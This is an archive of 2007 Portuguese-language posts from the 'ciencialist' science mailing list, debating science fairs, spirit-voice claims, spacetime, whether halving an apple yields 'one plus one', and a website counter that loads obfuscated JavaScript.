prezar este fato, afinal, o que seria das equações
matématicas se o UM deixasse de ser um deus
indivisivel e eterno?


sinceramente
ferrari






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SUBJECT: Fw: Feira de Ci�ncias e seus problemas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 08:28

Olá Takata e todos,

apreciaria responder adequadamente ao Educador abaixo. Aceito sugestões (texto abaixo).
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Ademir Jose Rosso
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 14 de junho de 2007 09:02
Assunto: Feira de Ciências e seus problemas


Estou trabalhando com meus alunos da Prática de Ensino Biologia. No primeiro semestre trabalho com atividades extracurriculares. Este ano nos inserimos nas Feiras de Ciências que estão acontecendo nas Escolas Estaduais.

Me chamou muita atenção o seu depoimento/desabafo de abertura da feira virtual.

Gostaria você discutisse a seguinte hipóstese minha sobre o assunto: "As atividades extraclasses desenvolvidas para apoiar e complementar o Ensino de Ciências regular, como por exemplo, a Feira de Ciências podem reproduzir e reforçar as práticas estereotipadas do Ensino de Ciências." De forma redutiva seria o seguinte: a Feira de Ciências não funciona porque o Ensino de Ciências está mal.

Prof. Dr. Ademir José Rosso (ajrosso@uepg.br)



--------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date: 10/06/2007 13:39


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Seria poss�vel falar e gravar as vozes dos falecidos?Instituto de Pesquisas Avan�adas em transcomunica��o Instrumental
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Gravando Vozes" <gravandovozes@hotmail.com>
DATE: 18/06/2007 08:38

Quando os equipamentos eletrônicos tiverem 'espíritos', sem dúvida eles poderão se comunicar com os espíritos dos falecidos. Todavia, os equipamentos eletrônicos evoluem e os espíritos dos falecidos não! Assim, sugiro ir guardando os equipamentos mais antigos para que as comunicações continuem ou, em cada sessão, ir instruindo os espíritos para que saibam manusear os novos equipamentos.
De todo modo, sugiro que o Instituto de Pesquisas Avançadas em Transcomunicação Instrumental seja encerrado e, em seu lugar, funde-se outro Instituto de Pesquisa Avançada sobre os Vivos; esses precisam de mais ajuda que os mortos.

sinceramente,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Gravando Vozes
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 13 de junho de 2007 20:14
Assunto: Seria possível falar e gravar as vozes dos falecidos?Instituto de Pesquisas Avançadas em transcomunicação Instrumental








TRANSCOMUNICAÇÃO INSTRUMENTAL

Contatos com o Alem por equipamentos eletrônicos





Seria possível falar e gravar as vozes dos falecidos?

E ver a imagem deles do Outro Lado?

Esse tema de pesquisa, é com que trabalha Sonia Rinaldi, já há 19 anos, mesclando ciência e espiritualidade. Com centenas de áudios registrados, com alto índice de reconhecimento das vozes, Sonia tem auxiliado muita gente, sobretudo pais que perderam filhos. Mais que isso, muitos já ver as transfotos de seus queridos que partiram, o que é mais um ítem de comprovação da sobrevivência após a morte.

Convidamos você a conhecer sobre esse fascinante tema, ou seja, a busca da comprovação científica da vida depois da morte, visitando o novo site do

Instituto de Pesquisas Avançadas em Transcomunicação Instrumental:

http://www.ipati.org

será muito bem-vindo!







------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date: 10/06/2007 13:39


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 10:01

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> A luz se propaga no próprio espaço-tempo.
>
> --- Quando voce pensa em espaço vc pensa em espaço
> tridimencional?

No caso falei em espaço-tempo.

Qto ao espaço depende. Dentro da teoria da relatividade é uma das três
dimensões do espaço-tempo quadridimensional cuja relação métrica com a
velocidade é dada por: L1 = L0/gama. Isto é, sofre uma contração de
Lorentz para velocidades crescentes na direção do movimento do objeto.
Na teoria das supercordas, o espaço é uma das 10 dimensões, sendo q 7
atualmente encontram-se compactadas. Na teoria das branas, pode haver
um número de até 20 - podendo estar compactadas ou muito distendidas.

Antes de chegarmos a isso, vc pode pensar simplesmente em relações de
distância entre corpos, objetos e fenômenos q estão presentes em um mm
tempo. Relacionando cada dimensão do espaço com as dimensões de
altura, largura e profundidade de um sólido como o paralelepípedo.

> --- Quando vc pensa em tempo, pensa em que?

Atualmente eu penso em um cara q não sabe q 1/2 = 0,5 e não 1/2 = 2.

Lee Smolin considera o tempo - assim como o espaço - uma entidade
relacional. Newton considerava o tempo como uma entidade absoluta.

Dentro da teoria da relatividade é uma dimensão dentro do espaço-tempo
quadridimensional cuja relação métrica com a velocidade é dada por: T1
= T0 x gama. Isto é, sofre uma dilatação de Lorentz para velocidades
crescentes.

Mas vc pode pensar em algo q flui como um rio e q marca a ocorrência
de um fenômeno, a existência de um objeto. Pode ser medido com
calendários, relógios de pêndulo, de quartzo, de luz ou atômico.
Considerando-se um fenômeno repetitivo considerado constante - a
passagem do tempo é marcada pela contagem de repetições do fenômeno.

> --- Quando pensa espaço-tempo, o que imagina, e no que
> difere de apenas espaço?

Dentro da teoria da relatividade, é um construto quadridimensional
dinâmico - sua métrica depende do grau de curvatura local, q, por sua
vez, depende da configuração massa-energia - q indica a posição
relativa e absoluta de um evento dentro de um cone de luz formadas
pelas linhas de universo traçada desde o Big Bang.

Pode diferir do espaço em vários aspectos. Um deles é q o espaço-tempo
ganha um status absoluto, "real", em oposição ao espaço e ao tempo.

De modo muito simplório, se vc achatar o espaço tridimensional em duas
dimensões, pode representar o espaço-tempo como um volume 3D. O tempo
fica como cada fatia paralela desse volume. (É possível se fatiar esse
volume em diferentes orientações - o q corresponderia a perspectivas
sob diferentes velocidades - nesse caso pontos localizados nas outras
duas dimensões - q estão representandos as três dimensões espaciais -
podem ficar ou não na mm fatia a depender de como se corta o volume.
Isso significa q dois eventos ocorrerem ou não ao mm tempo é algo q
depende do modo como se fatia - isto é, da velocidade.)

[]s,

Roberto Takata



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 10:05

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Eu não sei cortar uma maçã e ter ao final
> duas maçãs. (Claro, sem q eu plante as sementes)
>
> --- Takata, já te falei que não é duas maças, é UM +
> UM. Se cortar em 10 pedaços

Repare como vc precisa usar a palavra pedaços - q em matemática
corresponde à fração.

Não são duas maçãs nem 1 + 1. São duas METADES de maçã ou 2 x 0,5.
Cada PEDAÇO corresponde a MEIO.

Corte a maçã e coma um dos pedaços. Com qtas MAÇÃS vc fica?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:14

De: "rmtakata"
>>Corte a maçã e coma um dos pedaços. Com qtas MAÇÃS vc fica?

Não force Roberto! Esse tipo de questão é para 4a série em diante!

[]'

anônimo


SUBJECT: Re: [ciencialist] p/Leo - medida de tubos
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:15

Olá Murilo,

inda não!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 14 de junho de 2007 17:49
Assunto: [ciencialist] p/Leo - medida de tubos


( repeteco...)


>From: "murilo filo" <avalanchedrive@hotmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] p/Leo - medida de tubos
>Date: Wed, 13 Jun 2007 16:40:49 -0300
>
>Leo,
>oi.
>Vc já conseguiu resposta sobre a unidade ''french'', usada em medicina?
>Se chegou poderemos confrontar.
>Acionei minhas bases no mesmo dia, demorou e não foi fácil.
>Na aguardatura. abr/M. SP 13/junh07
>
>
>
>



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:21

De: "rmtakata"
>>O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1 <<

Oi Roberto,

Entrando nessa página e clicando em "next", o quadro que surge parece-me algo estranho. Veja o feixe do laser que é 'acentuadamente divergente'. Como ele conseguiu isso?

[]'
Léo




SUBJECT: Re: [ciencialist] Fw: Feira de Ciências e seus problemas
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 10:22

Prof: Segundo o seu colega Sagan, o objetivo das feiras, dos
experimentos, para a ciência, seria coletar o "deslumbramento", o maio
recrutador de cientistas que se pode imaginar. Neste sentido, as
feiras funcionam perfeitamente, se bem elaboradas. No entanto, há o
fator de "anti-deslumbramento" que a mídia nos fornece, com os
estereótipos que todos aqui tanto conhecem, e que são apresentados nos
programas populares. Diria, o "fator coisas-de-nerds".

Gil
Em 18/06/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> Olá Takata e todos,
>
> apreciaria responder adequadamente ao Educador abaixo. Aceito sugestões (texto abaixo).
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Ademir Jose Rosso
> Para: leobarretos@uol.com.br
> Enviada em: quinta-feira, 14 de junho de 2007 09:02
> Assunto: Feira de Ciências e seus problemas
>
>
> Estou trabalhando com meus alunos da Prática de Ensino Biologia. No primeiro semestre trabalho com atividades extracurriculares. Este ano nos inserimos nas Feiras de Ciências que estão acontecendo nas Escolas Estaduais.
>
> Me chamou muita atenção o seu depoimento/desabafo de abertura da feira virtual.
>
> Gostaria você discutisse a seguinte hipóstese minha sobre o assunto: "As atividades extraclasses desenvolvidas para apoiar e complementar o Ensino de Ciências regular, como por exemplo, a Feira de Ciências podem reproduzir e reforçar as práticas estereotipadas do Ensino de Ciências." De forma redutiva seria o seguinte: a Feira de Ciências não funciona porque o Ensino de Ciências está mal.
>
> Prof. Dr. Ademir José Rosso (ajrosso@uepg.br)
>
>
>
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>
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> Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date: 10/06/2007 13:39
>
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> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:30

De: "Ferrari"

> Léo: Olha Ferrari ... num mundo onde houver uma
> régua desse tamanho, os seres que a manipulam devem
> ser maiores ainda. Eles pegariam essa régua com uma
> das mãos, encostariam o "0" na Terra (uma marca de
> poeira) e observariam, diretamente, em que leitura
> cai a distância até Beteljeuze-gama.
> Tão simples como medir a largura de uma folha de
> caderno com uma régua de madeira escolar. Os
> instrumentos de medição devem ser compatíveis com
> seus manipuladores. Já percebeu que a área das
> teclas do seu teclado devem ser compatíveis com as
> áreas das pontas dos seus dedos? Que tal mandar
> fazer um teclado com teclas do tamanho de cabeças de
> alfinetes, espaçadas de uma cabeça de alfinete? Ou
> do tamanho da porta de seu quarto?

--- ok, mensagem lida e compreendida.

--- vai está justamente ai a dificuldade humana em se
medir o infinito.

Léo: O 'infinito' para os humanos que labutam com Ciência e Matemática não tem nada de dificuldade. Para um míope o ponto remoto está no infinito, ou seja, cerca de 60 cm de seus olhos. Que tal vc dar uma leitura no conceito de 'infinitésimo' (pode ser apenas de primeira ordem)? [Ah! está no capítulo de LIMITES. --- recomendo Leonida Tonelli ou Bento de Jesus Caraça ---]
Para os que não labutam com Ciência o 'infinito' deve ser algo realmente complicado! Talvez algo bem grandão, ou bem lonjão, ou bem compridão, ou bem pesadão ou ainda algo transcendental; divinamente longe, divinamente grande, divinamente poderoso ou ainda algo que só pode ser medido por seres não humanos ... vá saber!?

abraços humanos,

Léo


SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:34

De: "rmtakata"

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Engano seu, Takata. Fiz a experiencia e fiquei com
> UM + UM.

##Caramba, vc deve ser o novo Jesus Cristo, não me admira q vc sabe
coisas q ninguém mais sabe. Vai resolver o problema do mundo. Corta
uma maçã ao meio e se tem duas maçãs. Incrível...

[]s,

Roberto Takata##

Acredito que, assim, fica explicada a "divisão dos peixes".
Tem gente que come 1/2 peixe e pensa que é UM! Vá ter fé lá nos infernos!

[]'

Léo



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SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 10:37

Certo, a sociedade não é apenas a soma dos indivíduos, mas o que isso tem a
ver com o Cristo Redentor? Já estive lá algumas vezes e, francamente, acho
uma estátua meio fajuta. Deve ter sido difícil de construir, mas não mais do
que o Colosso de Rodes ou o Partenon. E o que me preocupa com a estátua do
Cristo
Redentor é justamente a falta de laicismo dela. Ou alguem imagina que a
estátua possa ser removida e substituída por uma de Buda?

A propósito, a frase "dai a César o que é de César..." provavelmente nunca
foi dita pelo Jesus histórico. Ela teria sido acrescentada pelos
evangelistas em uma época posterior, na qual a igreja primitiva estava
tentando se reconciliar com o Império.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos


Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão



SUBJECT: Re: [ciencialist] Animação - Propagação de ondas - Dentro da Piscina
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 11:20

Animação de propagação das ondas:
http://mojiti.com/kan/4192/13741/59852

Olá C-list!

Esta animação de propagação e interferencia de ondas é
como ondas no mar, numa piscina, ou seja, o observador
está de fora da piscina, observando a deformação
(onda) em uma superficie, a piscina. Correto? Mas, de
fato, o meio onde a onda se propaga (a natureza) não é
apenas uma superficie, uma piscina? Não é? Ou é?

Sendo assim, pergunto: como seria a animação da
propagação da onda se o observado não estivesse
separado do meio? Ou seja, se o observador fosse uma
gota dágua dentro da piscina, e não um camera filmando
a piscina de fora?


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] Olá Pessoal! Raciocínio lógico/matemático
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 11:22

Já leu os textos do Ferrari aqui no C-List?
Eles estimulam o cérebro a tal ponto que vc ficará com vontade de esbordoá-lo (o autor, claro!)!
[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Michel Moccelin Viccari" <michelm.viccari@yahoo.com.br>
Para: "ciência list" <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 18 de junho de 2007 02:30
Assunto: [ciencialist] Olá Pessoal! Raciocínio lógico/matemático


Olá tudo bem?
Alguém conhece alguns exercícios lógicos e matemáticos para estimular o cérebro um pouco?
O q sugerem...
Gostaria de ouvir falar um pouco sobre psicologia, neurologia...
Raciocínio, memória...
Abraço


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SUBJECT: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 11:32

Não Jeff, a 'coisa' está no chamado do Google que de algum modo aparece um tal de 'google-counter' que não sei de onde vem!
agradeço as sugestões.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Jeff" <jeff@jeff.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 14 de junho de 2007 13:20
Assunto: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!


O erro tá na chamada do seu contador. O contador tá dentro de um IFRAME, que
abre a URL
http://www.tecmarcos.com/contadorgratuito/contador.php?site=Prof_Léo&cor_fonte=000000&cor_fundo=FF00FF

No final desta página tem um código javascript "obfuscado", que está com
erro.

Use o Google Analytics, 1 bilhão de vezes melhor! :-)

[]´,s
Jeff.

>
>Agradeço as informações dos amigos. Consegui identificar um erro; ele diz:
>
>Linha: 9
>Caractere: 15
>Erro: Não é possível mover o foco para o controle porque este é invisível,
>não ativado ou de um tipo >que não aceita foco. [parece até frase do
>Ferrari!]
>Código: 0
>URL: http://www.google.com.br
>
>e dai?
>





SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 11:55

Luiz,

Quem terá que fazer milagre nesta caso, não sou eu nem
jesus, é vc é o takata mesmo, que estão querendo
dividir o que não pode ser dividido. Primeiro
fracassaram em dividir o carro sem separar as partes,
mas agora querem dividir o UM separando-o em partes de
UM. O que eu posso fazer por vcs? Enviar o milagre da
compreensão por email? A lista nem aceita anexo. Não,
dá. E olha que estou tentando, apontando. Talvez
multiplicar os peixes seja mais fácil.


sinceramente
ferrari








--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> De: "rmtakata"
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > --- Engano seu, Takata. Fiz a experiencia e fiquei
> com
> > UM + UM.
>
> ##Caramba, vc deve ser o novo Jesus Cristo, não me
> admira q vc sabe
> coisas q ninguém mais sabe. Vai resolver o problema
> do mundo. Corta
> uma maçã ao meio e se tem duas maçãs. Incrível...
>
> []s,
>
> Roberto Takata##
>
> Acredito que, assim, fica explicada a "divisão dos
> peixes".
> Tem gente que come 1/2 peixe e pensa que é UM! Vá
> ter fé lá nos infernos!
>
> []'
>
> Léo
>
>
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SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 12:10

Olá Takata!

Takata >>> Repare como vc precisa usar a palavra
pedaços - q em matemática corresponde à fração.

--- Exatamente! A fração é uma entidade matemática,
linguistica, mapa, não é natural, não é observação,
não é território. Eu que lhe pergunto, vc consegue
reparar isto? Claro que consegue! Só não consegue
admitir em público. Mas então, é por isto que afirmo
que a matéria é indivizivel, porque matéria não é o
mapa da matéria, matéria não é o conhecimento da
matéria. Matéria é a coisa em si, é o território,
indivizivel e eterno.


sinceramente
ferrari






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SUBJECT: Re: A sociedade como soma de indivíduos
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 12:20

Obrigado pelas correções, Takata!

Abraço,
Manuel Bulcão


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> > Soma de "indivíduos" é uma colônia de bactérias, haja vista que
uma
> > monera singular, via de regra, não depende das outras nem mesmo
para
> > se reproduzir.
>
> Isso não é verdade. Há todo um complexo de comunicação química entre
> as bactérias q resultam entre outras coisas em um "senso de censo"
(as
> bactérias recebem informações aproximadas a respeito de qtas
bactérias
> existem na vizinhança - o q pode disparar ou inibir o processo de
> multiplicação).
>
> > Demais, foi através de Cristo que a razão crítica (razão esta que
> > Popper, no século XX, deu o acabamento final) veio ao mundo.
>
> Bem, Sócrates (o "só sei que nada sei", não o Doutor Magrão) e
> Siddharta Gautama (o q nada tem a ver com corrupção por
construtoras)
> parecem preceder Josué de Nazaré em alguns séculos.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 12:28

Olá Takata!

Creio que, nesta questão de onda e particula, tem
muita coisa básica pra ser discernida. Assim, agradeço
se formos degavar, bem abaixo da velocidade da luz.
Depois voltamos. Grato.

Takata >>> Antes de chegarmos a isso, vc pode pensar
simplesmente em relações de distância entre corpos,
objetos e fenômenos q estão presentes em um mm tempo.
Relacionando cada dimensão do espaço com as dimensões
de altura, largura e profundidade de um sólido como o
paralelepípedo.

--- Corpos são objetos de geometria tridimencinal com
começo meio e fim, é isto? Sempre que a fisica diz que
tal coisa é um corpo, está se referindo a um objeto
tridimencional com começo meio e fim, tipo um
paralelepípedo, é isto?

--- Onda não é corpo, é isto?

--- Se onda não é corpo, não é um objeto de geometria
tridimencional, é isto?

--- Se onda não é um objeto de geometria
tridimencional, é o que? Qual é o estudo que delimita
as ondas para se dizer "isto é uma onda"?

--- Por fim, pra vc, tridimencionalidade é mapa ou
território?


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 12:46

Olá,

>
>Não Jeff, a 'coisa' está no chamado do Google que de
>algum modo aparece um tal de 'google-counter' que
>não sei de onde vem! agradeço as sugestões.
>

O página do "Imperdível" chama uma outra página dentro desta (via iframe) no
endereço:
http://www.tecmarcos.com/contadorgratuito/contador.php?site=Prof_Léo&cor_fonte=000000&cor_fundo=FF00FF

Acesse este endereço que você verá o mesmo erro. No código desta página, bem
no final, tem um código em Javascript "obfuscado" (uma técnica pra deixar
quase ilegível um código interpretado, como no caso de Javascripts, pra
evitar cópia) que, por isso, não dá pra ver, mas deve fazer alguma
referência (com problemas) ao Google em algum momento.

Se você quer um contador publicado no site, existem outros milhares na
Internet, mas se quiser estatísticas bastante interessantes do "Imperdível",
instale o
Google Analytics (http://www.google.com.br/analytics) que é o mais completo.
É interessantíssimo, te dá muitas informações, com gráficos, e faz análises.
Pra usá-lo, é só se cadastrar em http://www.google.com.br/analytics e ele te
dá um código que você inclui no HTML do site.

[]´,
Jeff.



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Cacildo Krebs" <cacildokrebs@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 12:53

Grato pelas dicas. Como não sou físico, procuro mesmo explicações mais simples para entender os mistérios da ciência.

Um abraço

Cacildo


----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:56 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla


Olá Cacildo

Reforço as recomendações do Takata, em especial quanto ao Universo Elegante. Mas eu sugeriria, no lugar do Universo em uma Casca de Nóz, outro livro do Hawking, Uma Nova História do Tempo, escrito em parceria com outro fisico, Mlodinow, que é excelente escritor e tornou as explicações mais claras e agradáveis, mais fáceis para o entendimento de leigos e iniciantes (não exatamente "fáceis", em física seria quase impossível, mas mais "palatáveis"..:-).

Uma Nova História do Tempo, STEPHEN W. HAWKING LEONARD MLODINOW
http://www.submarino.com.br/books_productdetails.asp?Query=ProductPage&ProdTypeId=1&ProdId=1075721&ST=SR

Está em oferta no Submarino, vale a pena.

Um abraço.

Homero

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:36 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla

Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Cacildo Krebs" <cacildokrebs@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 12:56

Agradeço as sugestões. Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema.

Abraços

Cacildo

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:36 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla


Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
